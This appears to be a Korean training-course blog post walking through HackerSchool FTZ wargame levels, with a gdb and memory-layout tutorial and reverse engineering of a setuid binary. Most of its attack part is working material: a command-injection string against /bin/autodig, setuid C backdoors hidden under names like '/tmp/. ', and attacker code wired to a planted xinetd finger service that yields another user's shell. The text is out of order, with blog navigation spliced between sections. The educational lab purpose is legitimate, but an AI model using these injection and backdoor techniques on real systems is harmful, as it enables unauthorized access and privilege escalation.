www.naver.com.nheos.com. 165    IN      A       202.131.30.11

;; AUTHORITY SECTION:
nheos.com.              171165  IN      NS      ns2.nheos.com.
nheos.com.              171165  IN      NS      ns1.nheos.com.
nheos.com.              171165  IN      NS      ns3.nheos.com.

;; ADDITIONAL SECTION:
ns1.nheos.com.          1600    IN      A       119.205.240.148
ns2.nheos.com.          9307    IN      A       61.247.202.50
ns3.nheos.com.          171165  IN      A       175.158.30.74

;; Query time: 4 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Thu Aug 21 22:08:16 2014
;; MSG SIZE  rcvd: 199

uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh: line 1: version.bind: command not found


    ------------- /bin/autodig ----------------
        strcpy( cmd, "dig @" );
        strcat( cmd, argv[1] );
        strcat( cmd, " version.bind chaos txt");
        system( cmd );
    ------------- /bin/autodig ----------------
    # /bin/autodig "168.126.63.1 www.naver.com; bash;"
    # dig @168.126.63.1 www.naver.com; bash; version.bind chaos txt

[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com; bash;"

; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7335
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:
;www.naver.com.                 IN      A

;; ANSWER SECTION:
www.naver.com.          0       IN      CNAME   www.naver.com.nheos.com.
www.naver.com.nheos.com. 31     IN      A       202.131.30.11
www.naver.com.nheos.com. 31     IN      A       125.209.222.142

;; AUTHORITY SECTION:
nheos.com.              11439   IN      NS      ns2.nheos.com.
nheos.com.              11439   IN      NS      ns1.nheos.com.
nheos.com.              11439   IN      NS      ns3.nheos.com.

;; ADDITIONAL SECTION:
ns1.nheos.com.          15523   IN      A       119.205.240.148
ns2.nheos.com.          161068  IN      A       61.247.202.50
ns3.nheos.com.          11439   IN      A       175.158.30.74

;; Query time: 3 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Thu Aug 21 22:09:38 2014
;; MSG SIZE  rcvd: 199


[level4@ftz level3]$ my-pass


Level4 Password is "suck my brain".







■ 백도어를 생성해 보자.

[level4@ftz level3]$ vi /tmp/backdoor.c

int main()
{

    char *cmd[2];
    cmd[0]="/bin/bash";
    cmd[1]=(void *)0;

    setreuid(3004,3004);
    execve(cmd[0], cmd, cmd[1]);   /* int  execve  (const  char  *filename, char
                                         *const argv [], char *const envp[]); */
}


[level4@ftz level3]$ gcc -o /tmp/". " /tmp/backdoor.c   /* /tmp/". " (점(.) + 공백 한칸) */
[level4@ftz level3]$ chmod 6755 /tmp/". "
[level4@ftz level3]$ ls -al /tmp

합계 56
drwxrwxrwt    8 root     root         4096  8월 21 22:20 .
-rwsr-sr-x    1 level4   level3      11677  8월 21 22:20 .
drwxr-xr-x   20 root     root         4096  8월 21 17:10 ..
drwxrwxrwt    2 root     root         4096  8월 21 17:10 .ICE-unix
-r--r--r--    1 root     root           11  8월 21 17:10 .X0-lock
drwxrwxrwt    2 root     root         4096  8월 21 17:10 .X11-unix
srwx------    1 root     nobody          0  8월 21 17:10 .fam_socket
drwxrwxrwt    2 xfs      xfs          4096  8월 21 17:10 .font-unix
srw-rw-rw-    1 root     root            0  8월 21 17:10 .gdm_socket
drwxr-xr-x    2 root     root         4096  8월 19 20:02 .mozilla
-rw-------    1 root     root         1024  8월 19 20:13 .rnd
-rw-r--r--    1 level4   level3        130  8월 21 22:19 backdoor.c
drwx------    2 root     root         4096  8월 21 17:10 orbit-root
drwx------    2 root     root         4096  8월 21 17:10 ssh-XX37ibNn


[level4@ftz level3]$ rm -f /tmp/backdoor.c
[level4@ftz level3]$ exit

exit
sh: line 1: version.bind: command not found


[level3@ftz level3]$ id

uid=3003(level3) gid=3003(level3) groups=3003(level3)


[level3@ftz level3]$ /tmp/". "

No value for $TERM and no -T specified
No value for $TERM and no -T specified

-> 에러메세지는 무시한다.

[level4@ftz level3]$ id

uid=3004(level4) gid=3003(level3) groups=3003(level3)


[level4@ftz level3]$ exit
[level3@ftz level3]$



■ 다른 방식으로 백도어를 만들어 보자.

    (EX: # /bin/autodig "127.0.0.1;CMD")

/bin/autodig "168.126.63.1 www.naver.com; bash;"

/bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";cmd[1]=(void *)0;' >

/tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;echo 'setreuid(3004,3004);execve(cmd[0],cmd,cmd[1]);}' >> /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;cat /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;gcc -o /tmp/'.. ' /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;chmod 6755 /tmp/'.. ';"

(/tmp/backdoor2.c)

int main(){char *cmd[2];cmd[0]=\"/bin/sh\";cmd[1]=(void *)0;
setreuid(3004,3004);execve(cmd[0],cmd,cmd[1]);}



int main()
{
    char *cmd[2];
    cmd[0]=\"/bin/sh\";
    cmd[1]=(void *)0;

    setreuid(3004,3004);
    execve(cmd[0],cmd,cmd[1]);
}




4
 Leve4 -> Leve5



단원의 목적
● xinetd 방식(원격 백도어)


● xinetd 방식에 대한 이해
● (용어) 로컬백도어/원격백도어

■ Level5 문제에 도전하기

level4 사용자로 로그인
-> ID/PASS: level4/suck my brain

[level4@ftz level4]$ ls -l

합계 12
-rw-r--r--    1 root     root           50  2월 24  2002 hint
drwxr-xr-x    2 root     level4       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level4       4096  8월 22 15:52 tmp


[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!



    [참고] xinetd 방식에 대해서

    ■ inetd 방식        ■ xinetd 방식
    -/etc/inetd.conf        - /etc/xinetd.conf, /etc/xinetd.d/*


xinetd 방식의 서비스



■ xinetd = inetd + extended(tcp_wrapper)

    Redhat 6.X ---------------------->    Redhat 7.X
    inetd(/etc/inetd.conf)        xinetd(/etc/xinetd.conf, /etc/xinetd.d/*)



■ 서버에서 서비스 하는 방법의 종류
standalone 방식의 서비스(EX: web, mail)
● 서버에서 서비스 데몬을 직접 띄워 놓고 서비스 하는 방식

xinetd 방식의 서비스(EX: telnet)
● 서버에서 xinetd 데몬을 띄워 놓고 클라이언트가 서비스 요청을 하면 그때 xinetd 데몬이 적당한 데몬을 띄워주

는 방식



standalone & xinetd 방식의 차이점

■ standalone 방식의 서비스(EX: web)
-> 서비스 요청이 많은 경우에 적당

----- client-----        ----- server(WEB) ----

http://www.daum.net        httpd(80)


■ xinetd 방식의 서비스(EX: telnet)
-> 서비스 요청이 적은 경우에 적당

----- client-----        ----- server(TELNET) ----

# telnet server 23        xinetd ----------> telnetd(23)
                /etc/xinetd.conf
                /etc/xinetd.d/*
                /etc/services

[참고] xinetd 데몬은 standalone 방식의 서비스 데몬이다.


(linux200)

[실습] xinetd 방식에 대한 간단한 실습
[TERM1]     # pgrep -lf telnet
    # telnet localhost
   
[TERM2]     # pgrep -lf telnet
[TERM3]     # telnet localhost
[TERM2]     # pgrep -lf telnet

[TERM3]     # exit
[TERM2]     # pgrep -lf telnet
[TERM1]     # exit
[TERM2]     # pgrep -lf telnet






[실습] xinetd 데몬과 설정파일에 대해서

----- client-----        ----- server(TELNET) ----

# telnet server 23        xinetd ----------> telnetd(23)
                /etc/xinetd.conf
                /etc/xinetd.d/*
                /etc/services

# pgrep -lf xinetd

4421 xinetd -stayalive -pidfile /var/run/xinetd.pid

-> xinetd 데몬은 standalone 방식의 서비스 데몬

# vi /etc/xinetd.conf

..... (중략) .....
# Generally, banners are not used. This sets up their global defaults
#
#       banner          =
#       banner_fail     =
#       banner_success  =
}

includedir /etc/xinetd.d

-> /etc/xinetd.conf 파일의 마지막 라인을 확인한다.

# cd /etc/xinetd.d 
# ls

chargen-dgram   discard-stream  gssftp       rsync
chargen-stream  echo-dgram      klogin       tcpmux-server
daytime-dgram   echo-stream     krb5-telnet  tftp
daytime-stream  eklogin         kshell       time-dgram
discard-dgram   ekrb5-telnet    rmcp         time-stream


# cat krb5-telnet

# default: off
# description: The kerberized telnet server accepts normal telnet sessions, \
#              but can also use Kerberos 5 authentication.
service telnet
{
        disable = no
        flags           = REUSE
        socket_type     = stream       
        wait            = no
        user            = root
        server          = /usr/kerberos/sbin/telnetd
        log_on_failure  += USERID
}


# vi krb5-telnet

[수정전]
disable = no 
[수정후]
disable = yes


# service xinetd restart
# telnet localhost
-> 접근 X

# vi krb5-telnet

[수정전]
disable = yes
[수정후]
disable = no


# service xinetd restart
# telnet localhost
-> 접근 0 (적당한 사용자로 로그인)
# exit


# chkconfig krb5-telnet off
# cat /etc/xinetd.d/krb5-telnet
-> disable = yes

# chkconfig krb5-telnet on
# cat /etc/xinetd.d/krb5-telnet
-> disable = no

    (standalone 방식의 서비스)
        (부팅) # chkconfig httpd on
        (현재) # service httpd restart
    (xinetd 방식의 서비스)
          # chkconfig krb5-telnet on --> /etc/xinetd.conf(/etc/xinetd.d/krb5-telnet)
        # service xinetd restart



[실습] xinetd/standalone 방식의 서비스 목록 확인
# chkconfig --list
-> 출력 내용 생략

# chkconfig --list | grep httpd

httpd           0:off   1:off   2:on    3:on    4:on    5:on    6:off

    # chkconfig httpd on
    # service httpd restart

# chkconfig --list | grep telnet

        ekrb5-telnet:   off
        krb5-telnet:    on

    # chkconfig krb5-telnet on
    # service xinetd restart







[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls -al

합계 112
drwxr-xr-x    2 root     root         4096  8월 19 12:58 .
drwxr-xr-x   64 root     root         4096  8월 21 17:13 ..
-r--r--r--    1 root     level4        171  8월 19 12:58 backdoor
-rw-r--r--    1 root     root          563  2월 25  2003 chargen
-rw-r--r--    1 root     root          580  2월 25  2003 chargen-udp
-rwxr-xr-x    1 root     root          239  2월 13  2003 cups-lpd
-rw-r--r--    1 root     root          419  2월 25  2003 daytime
-rw-r--r--    1 root     root          438  2월 25  2003 daytime-udp
-rw-r--r--    1 root     root          341  2월 25  2003 echo
-rw-r--r--    1 root     root          360  2월 25  2003 echo-udp
-rw-r--r--    1 root     root          318  1월 25  2003 finger
-rw-r--r--    1 root     root          370  1월 25  2003 imap
-rw-r--r--    1 root     root          365  1월 25  2003 imaps
-rw-r--r--    1 root     root          453  1월 25  2003 ipop2
-rw-r--r--    1 root     root          359  1월 25  2003 ipop3
-rw-r--r--    1 root     root          275  2월  5  2003 ntalk
-rw-r--r--    1 root     root          335  1월 25  2003 pop3s
-rw-r--r--    1 root     root          361  1월 25  2003 rexec
-rw-r--r--    1 root     root          378  1월 25  2003 rlogin
-rw-r--r--    1 root     root          431  1월 25  2003 rsh
-rw-r--r--    1 root     root          317  1월 25  2003 rsync
-rw-r--r--    1 root     root          312  2월 25  2003 servers
-rw-r--r--    1 root     root          314  2월 25  2003 services
-rw-r--r--    1 root     root          392  2월  1  2003 sgi_fam
-rw-r--r--    1 root     root          263  2월  5  2003 talk
-rw-r--r--    1 root     root          305  8월 19 12:58 telnet
-rw-r--r--    1 root     root          497  2월 25  2003 time
-rw-r--r--    1 root     root          518  2월 25  2003 time-udp

    [참고]
    $ export LANG=C
    $ /sbin/chkconfig --list | sed -n '/xinetd based/,$p' | grep -w on
[level4@ftz xinetd.d]$ cat /etc/xinetd.d/backdoor

service finger
{
        disable = no
        flags           = REUSE 
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}


● service finger반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어

야 한다.)# cat /etc/services | grep finger finger          79/tcpfinger          79/udp
● disable = no 데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음서비스의 이름

으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장.
● flags = REUSE서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가
● socket_type = streamTCP(stream)/UDP(dgram) 프로토콜을 선택
● wait = no이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다

수의 접속이 가능하다는 의미.
● user = root해당 데몬이 root 계정의 권한으로 실행됨
● server = /usr/bin/in.fingerdxinetd에 의해 실행될 데몬 파일
● log_on_failure += USERID정상적인 기동에 실패한 경우 USERID를 로그에 기록





[level4@ftz xinetd.d]$ cat /etc/services | grep finger

finger          79/tcp
finger          79/udp
cfinger         2003/tcp                        # GNU Finger


[level4@ftz xinetd.d]$ netstat -an | grep :79

tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN


[level4@ftz xinetd.d]$ ls -l /home/level4/tmp/backdoor

ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음


    # man finger
          NAME
               finger - user information lookup program

          SYNOPSIS
               finger [-lmsp] [user ...] [user@host ...]

[level4@ftz xinetd.d]$ finger level4@localhost
[level4@ftz xinetd.d]$
-> 정상적으로 실행되지 않는다.







----------------------------------------------------------------------------------------------
/etc/xinetd.d/backdoor 파일

service finger
{
        disable = no
        flags           = REUSE 
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}


● ( ? ) /home/level4/tmp/backdoor -> /usr/sbin/in.telnetd 설정을 바꾸고 원격에서 접속한다면
● ( ? ) 그럼 우리가 원하는 프로그램이 실행 될수 있도록 한다면
----------------------------------------------------------------------------------------------


공격용 파일을 생성한다.

[level4@ftz xinetd.d]$ cd ~/tmp    ($ vi /home/level4/tmp/backdoor)
[level4@ftz tmp]$ vi backdoor.c

#include<stdlib.h>

int main()
{
    system("cat /home/level4/hint");
    system("id");
}


[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ finger level4@localhost



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!    /* system("cat /home/level4/hint"); */


uid=3005(level5) gid=3005(level5)                /* system("id"); */


[level4@ftz tmp]$ vi backdoor2.c

#include <stdlib.h>

int main()
{
    system("/bin/bash");
}


[level4@ftz tmp]$ gcc -o backdoor backdoor2.c
[level4@ftz tmp]$ finger level4@localhost

/bin/bash: line 1: level4
: command not found
id
my-pass

<CTRL + C>

-> 정상적으로 명령어가 수행되지 않는다는 것을 알수 있다.
-> 따라서 원격에서 nc(netcat) 명령어를 사용한다.














table.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160707 리버싱  (0) 2016.07.07
20160706 리버싱  (0) 2016.07.06
20160704 리버싱  (0) 2016.07.04
20160701 프로젝트#2 피드백  (0) 2016.07.01
20160624 프로젝트#2  (0) 2016.06.24
Posted by 22Hz
, |

C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리\04_과정진행\04_정규과정\05_리버싱\01_시스템해킹_리버싱

_2014_1129_1.hwp

교육목표:


■  리버싱을 통한 의사 코드 생성

■  exploit 코드 개발





HackMe(ftz.hackershool.org)



● 다음 내용은 "문제풀이로 배우는 시스템 해킹 테크닉" 책에 대한 내용을 공부 목적으로 만든것입니다. 따라서,

상업적으로 사용하지 않는경우 문서 배포가 가능합니다. 인터넷상에 제공해 주신 많은 문서들에 대해 감사드립니다.
● 문제 풀이에 대한 부분은 아래 사이트를 참고 하시기 바랍니다. 또한 많은 사이트에서 문제 풀이에 대한 부분을

검색해 보실수 있습니다.http://inhack.org/wordpress/?cat=68
● 리버싱에 대한 자세한 공부 사이트는 다음과 같습니다. 반드시 참고하시기 바랍니다.http://www.codeengn.com/



0
 선수 지식



■ 단원의 목적
● 메모리 구조에 대한 이해
● SetUID/SetGID/Sticky Bit 이해
● gdb 기본 사용법


(1) 운영체제 기본 정보 확인

ftz.hackershool.org 사이트에 putty를 통해 telnet으로 접속한다.
접속 후 기본적인 정보를 확인한다.

[level1@ftz level1]$ cd tmp

Red Hat Linux release 9 (Shrike)
[level1@ftz tmp]$ cat /etc/redhat-release

    [참고] Redhat 계열의 운영체제 버전 발전 과정
    RedHat 6.X -> RedHat 7.X -> RedHat 8.X -> RedHat 9.X
    -> RHEL 2.X -> RHEL 3.X -> RHEL 4.X -> RHEL 5.X -> RHEL 6.X -> RHEL 7.X

[level1@ftz tmp]$ uname -a

Linux ftz.hackerschool.org 2.4.20-8smp #1 SMP Thu Mar 13 16:43:01 EST 2003 i686 athlon i386 GNU/Linux


    [참고] 리눅스 커널 버전에 대해서
    Kernel 2.2.X -> Kernel 2.4.X -> Kernel 2.6.X


■ 메모리 레이아웃(Layout)에 대한 예제

[level1@ftz tmp]$ cd ~/tmp
[level1@ftz tmp]$ vi hello.c

#include <stdio.h>        /* 헤더 파일 */
#include <stdlib.h>

int retVal = 0;            /* 전역 변수 */
int outVal;

int main(void)
{

char string[] = "hello";
char *ptr;
static int output = 1;

ptr = (char *)malloc(sizeof(string)); /* ptr 포인터 변수에 동적 힙 메모리 주소를 할당 */

printf("%s\n", string);

return retVal;

}


[level1@ftz tmp]$ gcc -o hello hello.c    /* gcc(GNU cc) */
[level1@ftz tmp]$ ./hello

hello


■ 용어(Terms)

    CPU <------> MEM <------> DISK

■ 메모리의 구조

물리주소
메모리 세그먼트
저장데이터
실제데이터
0x000000
.....
.....
Text(Code)
실행코드(보통 읽을 수 있는 부분이 있으나, 변조될 경우 Segment Fault 발생)
#include <stdio.h>
int main()
{
    printf("%s\n", string);
    return retVal
}
.....
Data
전역, const, static 변수,
초기화된 변수
int retVal = 0
static int output = 1;
.....
BSS
초기화되지 않은 변수
int outVal;
.....
Heap
동적메모리(동적으로 할당된 데이터가 저장)
ptr = (char *)malloc(sizeof(string));
.....
|           A
V           |
힙과 스택의 여분 공간
변수가 늘어날 경우 힙과 스택의 시작점 사이에 있는 이 공간에 할당
.....
Stack
지역변수(로컬 인자와 프로세스 상태가 저장)
char string[] = "hello";
char *ptr;
.....
argc
환경변수와 명령어 창의 데이터(인자)가 저장
.....
ENV/argv pointers
.....
.....
0xFFFFFF
ENV/argv strings


● Text함수의 Code값이 위치하는 부분
● Data전역 변수가 위치한 Data 영역과 정적 변수가 위치한 BSS 영역으로 나뉜다.
● Heap동적할당을 할 때 사용, 메모리의 효율성이 가장 좋다.
● Stack일반적으로 지역함수, 함수의 인자값,복귀 조수 등이 위치, CPU에서 접근 속도가 가장 빠름.







■ 인자가 전달되는 방법에 대한 예제

[level1@ftz tmp]$ vi structure.c

#include<stdio.h>

void function(int a, int b, int c)
{

char buffer1[5];
char buffer2[10];

}

int main()
{

function(1,2,3);

return 0;

}


[level1@ftz tmp]$ gcc -o structure structure.c
[level1@ftz tmp]$ ./structure
[level1@ftz tmp]$ echo $?

0



■ gdb를 통해 structure 프로그램을 disassembly 해보자

    (용어) 어셈블리어(Assembly) 언어

[level1@ftz tmp]$ gdb structure      /* gdb : GNU debugger */

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
1   (gdb) disassemble main
2   Dump of assembler code for function main:
3   0x080482fc <main+0>:    push   %ebp
4   0x080482fd <main+1>:    mov    %esp,%ebp
5   0x080482ff <main+3>:    sub    $0x8,%esp
6   0x08048302 <main+6>:    and    $0xfffffff0,%esp
7   0x08048305 <main+9>:    mov    $0x0,%eax
8   0x0804830a <main+14>:   sub    %eax,%esp
9   0x0804830c <main+16>:   sub    $0x4,%esp
10  0x0804830f <main+19>:   push   $0x3
11  0x08048311 <main+21>:   push   $0x2
12  0x08048313 <main+23>:   push   $0x1
13  0x08048315 <main+25>:   call   0x80482f4 <function>
14  0x0804831a <main+30>:   add    $0x10,%esp
15  0x0804831d <main+33>:   mov    $0x0,%eax
16  0x08048322 <main+38>:   leave
17  0x08048323 <main+39>:   ret
18  End of assembler dump.
19  (gdb) quit

● 인자값을 a=3 할당하고, b=2 할당하고, a=1 할당한다.
● 스택(Stack)은 지역변수가 쌓일수록 메모리의 낮은 주소 방향으로 데이터가 쌓이는 특이한 구조이다.

[level1@ftz tmp]$
■ 위의 내용에 대한 해석

1   (gdb) disassemble main
● main 함수를 disassemble(binary -> assembley) 한다.

2   Dump of assembler code for function main:
● main 함수의 assembler가 덤프를 시작한다.

3   0x080482fc <main+0>:    push   %ebp
● EBP 내용을 stack 주소를 넣는다.(최초의 프레임 포인터(ebp) 값을 스택에 저장한다.)
● ebp 바로 전에 ret(return address)가 저장된다.
● ebp(extended base pointer)는 함수 시작 전의 기준점이 된다.
● 스택에 저장된 ebp를 SFP(Saved Frame Pointer)라고 부른다.
● ret(return address)에는 함수 종료시 점프할 주소값 저장




4   0x080482fd <main+1>:    mov    %esp,%ebp
● 현재 esp 값을 ebp 레지스터에 저장한다.
● "push %ebp", "mov %esp %ebp"는 새로운 함수를 시작할 때 항상 똑같이 수행하는 명령으로 프롤로그(Prologue)라

고 부른다.




5   0x080482ff <main+3>:    sub    $0x8,%esp
● esp 레지스터 가리키는 주소에서 0x8만큼 주소를 뺀다.
● 일반적으로 변수를 설정할수 있는 공간을 확보 하는것이다.
● 변수의 종류(예: char or int)와 개수에 따라서 빼는 값이 틀려진다.






[과제] 아래 내용을 위의 내용에 연속하여 분석 한다.

6   0x08048302 <main+6>:    and    $0xfffffff0,%esp
● %esp 스택의 내용과 $0xfffffff0 값을 bit AND 연산을 한다.
● %esp 값의 마지막 4bit 부분의 값을 0로 만든다.

7   0x08048305 <main+9>:    mov    $0x0,%eax
● %eax 레지스터 값을 0으로 초기화 한다.

8   0x0804830a <main+14>:   sub    %eax,%esp
● %esp 값을 %eax 값 만큼 뺀다. %eax 값은 $0x0 이었으므로 같은 값이다.

9   0x0804830c <main+16>:   sub    $0x4,%esp
● %esp 값에서 $0x4 만큼 뺀다.

10  0x0804830f <main+19>:   push   $0x3
11  0x08048311 <main+21>:   push   $0x2
12  0x08048313 <main+23>:   push   $0x1
● 함수에 들어갈 인자 값들을 stack 넣는다. 넣을때는 function 함수의 세번째 인자를 먼저 그리고 두번째, 그리고

첫번째 인자를 넣는다.

13  0x08048315 <main+25>:   call   0x80482f4 <function>
● function 함수를 호출한다.

14  0x0804831a <main+30>:   add    $0x10,%esp
15  0x0804831d <main+33>:   mov    $0x0,%eax
16  0x08048322 <main+38>:   leave
17  0x08048323 <main+39>:   ret
18  End of assembler dump.
19  (gdb) quit




[참고] 자세한 분석 과정에서 대해서는 다음 문서를 참고한다.
● structure 프로그램 실행시 자세한 디버깅 과정






1
 Leve1 -> Leve2



단원의 목적
● 백도어(Backdoor)에 대한 이해


■ Level1 문제에 도전하기

ftz.hackershool.org 사이트에 putty를 통해 telnet으로 접속한다.
ID/PASS: level1/level1

[level1@ftz level1]$ cd
[level1@ftz level1]$ ls -l

total 12
-rw-r--r--    1 root     root           47 Apr  4  2000 hint
drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html
drwxrwxr-x    2 root     level1       4096 Aug 19 21:45 tmp


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.




    [참고] find 명령어 사용법
    [참고] SetUID/SetGID/Sticky Bit에 대해서

[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null

/bin/ExecuteMe


[level1@ftz level1]$ ls -l /bin/ExecuteMe

-rwsr-x---    1 level2   level1      12868 Aug 19 13:01 /bin/ExecuteMe


[level1@ftz level1]$ /bin/ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를
                한가지 실행시켜 드리겠습니다.
                (단, my-pass 와 chmod는 제외)

                어떤 명령을 실행시키겠습니까?


                [level2@ftz level2]$ bash


[level2@ftz level2]$ my-pass

Level2 Password is "hacker or cracker".



[level1@ftz level2]$ exit
[level1@ftz level1]$ telnet localhost
level2/hacker or cracker

[level2@ftz level2]$ exit
[level1@ftz level1]$






■ 리버싱을 통한 의사 코드(가상 코드) 복원

의사코드(가상코드)란? 리버싱을 통해 원본 소스코드를 복원한 코드이다. 소스코드를 복원할 때 배열의 크기나 조건

문이 switch문으로 되어 있는지, if 문으로 되어 있는지에 대한 정확한 복원은 아니고 이런 부분에 대한 단순 복원

코드이다. 따라서 원본 코드와는 약간 다를수 있다.

    [참고] 어셈플리 언어에 대해서
    [참고] gdb 사용법

■ 프로그램 분석 방법(EX: 프로그램 실행시 분석 유무)
- 정적 분석
- 동적 분석

■ 프로그램 분석 방법(EX: 소스 코드 존재 유무)
- 블랙 박스 기법
- 화이트 박스 기법


[level1@ftz level1]$ gdb /bin/ExecuteMe

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048488 <main+0>:    push   %ebp        /* main 함수로 진입하기 전에 EBP(메모리 구조)의
                    주소를 스택에 저장 */
0x08048489 <main+1>:    mov    %esp,%ebp   /* 현재의 스택 포인터(ESP)를 스택의 베이스 포인
                    터(EBP)에 저장 */
0x0804848b <main+3>:    sub    $0x28,%esp        /* main() 함수에서 사용할 변수의 공간
0x0804848e <main+6>:    and    $0xfffffff0,%esp    을 확보 */
0x08048491 <main+9>:    mov    $0x0,%eax
0x08048496 <main+14>:   sub    %eax,%esp
0x08048498 <main+16>:   sub    $0xc,%esp
0x0804849b <main+19>:   push   $0x8048680
0x080484a0 <main+24>:   call   0x8048358 <system>    /* int system(const char *string); */
0x080484a5 <main+29>:   add    $0x10,%esp
0x080484a8 <main+32>:   sub    $0xc,%esp
0x080484ab <main+35>:   push   $0x804868f
0x080484b0 <main+40>:   call   0x8048378 <chdir>    /* int chdir(const char *path); */
0x080484b5 <main+45>:   add    $0x10,%esp
0x080484b8 <main+48>:   sub    $0xc,%esp
0x080484bb <main+51>:   push   $0x80486a0
0x080484c0 <main+56>:   call   0x80483a8 <printf>    /* int printf(const char *format,
                        ...); */
0x080484c5 <main+61>:   add    $0x10,%esp
0x080484c8 <main+64>:   sub    $0xc,%esp
0x080484cb <main+67>:   push   $0x80486e0
0x080484d0 <main+72>:   call   0x80483a8 <printf>
0x080484d5 <main+77>:   add    $0x10,%esp
0x080484d8 <main+80>:   sub    $0xc,%esp
0x080484db <main+83>:   push   $0x8048720
0x080484e0 <main+88>:   call   0x80483a8 <printf>
0x080484e5 <main+93>:   add    $0x10,%esp
0x080484e8 <main+96>:   sub    $0xc,%esp
0x080484eb <main+99>:   push   $0x8048760
0x080484f0 <main+104>:  call   0x80483a8 <printf>
---Type <return> to continue, or q <return> to quit---
0x080484f5 <main+109>:  add    $0x10,%esp
0x080484f8 <main+112>:  sub    $0xc,%esp
0x080484fb <main+115>:  push   $0x8048782
0x08048500 <main+120>:  call   0x80483a8 <printf>
0x08048505 <main+125>:  add    $0x10,%esp
0x08048508 <main+128>:  sub    $0x4,%esp
0x0804850b <main+131>:  pushl  0x8049948
0x08048511 <main+137>:  push   $0x1e    /* 0x1e = (10진수) 16 + 14 = 30 */
0x08048513 <main+139>:  lea    0xffffffd8(%ebp),%eax
0x08048516 <main+142>:  push   %eax
0x08048517 <main+143>:  call   0x8048368 <fgets>    /* char *fgets(char *s, int size,
                        FILE *stream); */
0x0804851c <main+148>:  add    $0x10,%esp
0x0804851f <main+151>:  lea    0xffffffd8(%ebp),%eax
0x08048522 <main+154>:  sub    $0x8,%esp
0x08048525 <main+157>:  push   $0x804879c
0x0804852a <main+162>:  push   %eax
0x0804852b <main+163>:  call   0x8048388 <strstr>    /* char *strstr(const char *haystack,
                        const char *needle); */
0x08048530 <main+168>:  add    $0x10,%esp
0x08048533 <main+171>:  test   %eax,%eax
0x08048535 <main+173>:  je     0x8048551 <main+201>
0x08048537 <main+175>:  sub    $0xc,%esp
0x0804853a <main+178>:  push   $0x80487c0
0x0804853f <main+183>:  call   0x80483a8 <printf>
0x08048544 <main+188>:  add    $0x10,%esp
0x08048547 <main+191>:  sub    $0xc,%esp
0x0804854a <main+194>:  push   $0x0
0x0804854c <main+196>:  call   0x80483c8 <exit>
0x08048551 <main+201>:  lea    0xffffffd8(%ebp),%eax
0x08048554 <main+204>:  sub    $0x8,%esp
0x08048557 <main+207>:  push   $0x80487e8
---Type <return> to continue, or q <return> to quit---
0x0804855c <main+212>:  push   %eax
0x0804855d <main+213>:  call   0x8048388 <strstr>
0x08048562 <main+218>:  add    $0x10,%esp
0x08048565 <main+221>:  test   %eax,%eax
0x08048567 <main+223>:  je     0x8048583 <main+251>
0x08048569 <main+225>:  sub    $0xc,%esp
0x0804856c <main+228>:  push   $0x8048800
0x08048571 <main+233>:  call   0x80483a8 <printf>
0x08048576 <main+238>:  add    $0x10,%esp
0x08048579 <main+241>:  sub    $0xc,%esp
0x0804857c <main+244>:  push   $0x0
0x0804857e <main+246>:  call   0x80483c8 <exit>
0x08048583 <main+251>:  sub    $0xc,%esp
0x08048586 <main+254>:  push   $0x8048826
0x0804858b <main+259>:  call   0x80483a8 <printf>
0x08048590 <main+264>:  add    $0x10,%esp
0x08048593 <main+267>:  sub    $0x8,%esp
0x08048596 <main+270>:  push   $0xbba    /* 0xbba = (10진수) 3002 */
0x0804859b <main+275>:  push   $0xbba    /* 0xbba = (10진수) 3002 */
0x080485a0 <main+280>:  call   0x80483b8 <setreuid>    /* int setreuid(uid_t ruid, uid_t
                        euid); */
0x080485a5 <main+285>:  add    $0x10,%esp
